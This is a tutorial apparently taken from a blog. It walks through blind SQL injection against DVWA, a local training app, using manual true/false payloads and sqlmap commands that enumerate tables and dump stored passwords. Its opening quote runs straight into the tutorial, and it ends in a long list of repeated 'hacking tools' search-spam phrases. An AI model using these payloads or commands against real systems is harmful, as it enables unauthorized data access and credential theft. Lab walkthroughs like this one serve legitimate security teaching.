OWASP describes Blind SQL Injection as:
"Blind SQL (Structured Query Language) injection is a type of attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.

We will call this invalid response. Since we know both the valid and invalid response, lets try to attack the app now. We will again start with a single quote (') and see the response. The response we got back is the one which we saw when we entered the wrong User ID. This indicates that our query is either invalid or incomplete. Lets try to add an or statement to our query like this:
' or 1=1-- - Enter the following in the User ID field:
' or 1=1 order by 1-- -
' or 1=1 order by 2-- -
' or 1=1 order by 3-- -
Lets try to get some data using the blind sql injection, starting by trying to figure out the version of dbms used by the server like this:
1' and substring(version(), 1,1) = 1-- -
Lets examine the query a bit to further understand what we are trying to accomplish. We know 1 is the valid user id and it returns a valid response, we append it to the query. Following 1, we use a single quote to end the check string. After the single quote we start to build our own query with the and conditional statement which states that the answer is true if and only if both conditions are true. Since the user id 1 exists we know the first condition of the statement is true. In the second condition, we extract first character from the version() function using the substring() function and compare it with the value of 1 and then comment out the rest of server query. Since first condition is true, if the second condition is true as well we will get a valid response back otherwise we will get an invalid response. Since my the version of mariadb installed by the docker container starts with a 1 we will get a valid response. Lets see if we will get an invalid response if we compare the first character of the string returned by the version() function to 2 like this:
1' and substring(version(),1,1) = 2-- -
1' and substring(version(),2,2) = 1-- -
We get invalid response. Changing 1 to 2 then 3 and so on we get invalid response back, then we try 0 and we get a valid response back indicating the second character in the string returned by the version() function is 0. Thus we have got so for 10 as the first two characters of the database version. We can try to get the third and fourth characters of the string but as you can guess it will be time consuming. So its time to automate the boring stuff. We can automate this process in two ways. One is to use our awesome programming skills to write a program that will automate this whole thing. Another way is not to reinvent the wheel and try sqlmap. I am going to show you how to use sqlmap but you can try the first method as well, as an exercise.
Lets use sqlmap to get data from the database. Enter 1 in the User ID field and click submit.
Then copy the URL from the URL bar which should look something like this
http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit
Now open a terminal and type this command:
sqlmap --version
Now type the following command to get the names of the databases:
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id
The command above uses -u to specify the url to be attacked, --cookie flag specifies the user authentication cookies, and -p is used to specify the parameter of the URL that we are going to attack.
We will now dump the tables of dvwa database using sqlmap like this:
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa --tables
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users --columns
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users -C password --dump
As you can see automating this blind sqli using sqlmap made it simple. It would have taken us a lot of time to do this stuff manually. That's why in pentests both manual and automated testing is necessary. But its not a good idea to rely on just one of the two rather we should leverage power of both testing types to both understand and exploit the vulnerability.
By the way we could have used something like this to dump all databases and tables using this sqlmap command:
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id --dump-all
Also we could have used sqlmap in the simple sql injection that we did in the previous article. As an exercise redo the SQL Injection challenge using sqlmap.
References:
1. Blind SQL Injection: https://owasp.org/www-community/attacks/Blind_SQL_Injection2. sqlmap: http://sqlmap.org/
3. MySQL SUBSTRING() Function: https://www.w3schools.com/sql/func_mysql_substring.asp
- Hacking Tools For Kali Linux
- Hacker Tools
- What Are Hacking Tools
- Hack Tools Download
- Pentest Tools Review
- Hacking Tools Name
- Ethical Hacker Tools
- Beginner Hacker Tools
- Hacker Tools Apk
- Pentest Tools Github
- Nsa Hack Tools Download
- Hak5 Tools
- Free Pentest Tools For Windows
- Pentest Tools Download
- Hack Tools Online
- Hack Tools For Mac
- Hacking Tools For Kali Linux
- Pentest Tools For Mac
- Pentest Tools Find Subdomains
- Tools For Hacker
- Pentest Tools Open Source
- Hack Tools For Ubuntu
- Hacking Tools Windows
- Hacking Tools Free Download
- Hacker Tools Hardware
- Hacking Tools 2020
- Pentest Tools Apk
- Hack Tools Github
- Hacking Tools 2020
- Pentest Reporting Tools
- Hacking Tools 2020
- Hacker Techniques Tools And Incident Handling
- Hack Tools Mac
- Tools For Hacker
- Pentest Tools Review
- Github Hacking Tools
- Hacking Tools Name
- Hacker Hardware Tools
- Pentest Tools Website Vulnerability
- Hacker Search Tools
- Nsa Hacker Tools
- Pentest Tools Bluekeep
- Hacker Search Tools
- Github Hacking Tools
- What Are Hacking Tools
- Hackrf Tools
- Growth Hacker Tools
- Hacker Tools 2019
- Hacker Search Tools
- Hacking Tools For Windows Free Download
- Hacking Tools Pc
- Hacker Tools Hardware
- Hacker Tools Github
- Hacker Tools For Pc
- Hacker Tools Hardware
- Physical Pentest Tools
- Hacker Tools Free Download
- Pentest Tools For Mac
- Pentest Tools Android
- Hack Tools For Ubuntu
- Pentest Tools Kali Linux
- Beginner Hacker Tools
- Hacks And Tools
- Blackhat Hacker Tools
- Pentest Tools For Mac
- Hacking Tools Usb
- Hack Rom Tools
- Hacking Tools Mac
- Hacker Tools Apk Download
- Hacking Tools Software
- Hacker Tools Software
- Hack Tools Pc
- Usb Pentest Tools
- Pentest Tools Tcp Port Scanner
- Pentest Tools Website Vulnerability
- Hacker Tool Kit
- Pentest Tools Linux
- Pentest Tools Tcp Port Scanner
- Hacker




